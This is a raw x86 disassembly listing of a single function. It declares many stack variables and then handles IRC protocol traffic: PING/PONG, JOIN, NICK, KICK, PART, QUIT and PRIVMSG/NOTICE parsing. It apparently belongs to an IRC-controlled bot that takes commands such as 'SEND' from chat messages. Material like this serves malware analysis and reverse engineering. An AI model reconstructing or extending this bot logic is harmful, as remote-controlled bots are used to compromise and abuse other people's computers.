var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
